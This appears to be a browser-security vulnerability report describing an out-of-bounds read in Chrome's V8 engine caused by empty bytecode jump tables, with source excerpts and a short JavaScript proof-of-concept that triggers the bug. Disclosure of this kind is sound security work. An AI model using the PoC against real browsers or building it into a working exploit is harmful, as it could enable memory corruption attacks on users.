Chrome: V8: Empty BytecodeJumpTable may lead to OOB read 




In the current implementation, the bytecode generator also emits empty jump tables.
<a href="https://cs.chromium.org/chromium/src/v8/src/interpreter/bytecode-array-writer.cc?rcl=111e990462823c9faeee06b67c0dcf05749d4da8&l=89" title="" class="" rel="nofollow">https://cs.chromium.org/chromium/src/v8/src/interpreter/bytecode-array-writer.cc?rcl=111e990462823c9faeee06b67c0dcf05749d4da8&l=89</a>

So the bytecode for the example code would be generated as follows:
Code:
function* opt() {
    for (;;)
        if (true) {

        } else {
            yield;  // never richs, never hits BindJumpTableEntry
        }
}

Bytecode:
        ...
         0x35dda532a2a5 @   75 : 90 04 01 01       SwitchOnSmiNoFeedback [4], [1], [1] { }  <<--- SIZE: 1, but EMPTY
        ...


Here's a snippet of JumpTableTargetOffsets::iterator::UpdateAndAdvanceToValid which is used to enumerate a jump table.
void JumpTableTargetOffsets::iterator::UpdateAndAdvanceToValid() {
  if (table_offset_ >= table_end_) return;

  current_ = accessor_->GetConstantAtIndex(table_offset_);
  Isolate* isolate = accessor_->bytecode_array()->GetIsolate();
  while (current_->IsTheHole(isolate)) {
    ++table_offset_;
    ++index_;
    current_ = accessor_->GetConstantAtIndex(table_offset_);
  }
}

If the jump table is empty, table_offset_ may exceed table_end_. As a result, out-of-bounds reads occur.

PoC:
function* opt() {
    for (;;)
        if (true) {

        } else {
            yield;
        }

    for (;;)
        if (true) {

        } else {
            yield; yield; yield; yield; yield; yield; yield; yield;
        }
}

for (let i = 0; i < 100000; i++)
    opt();

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt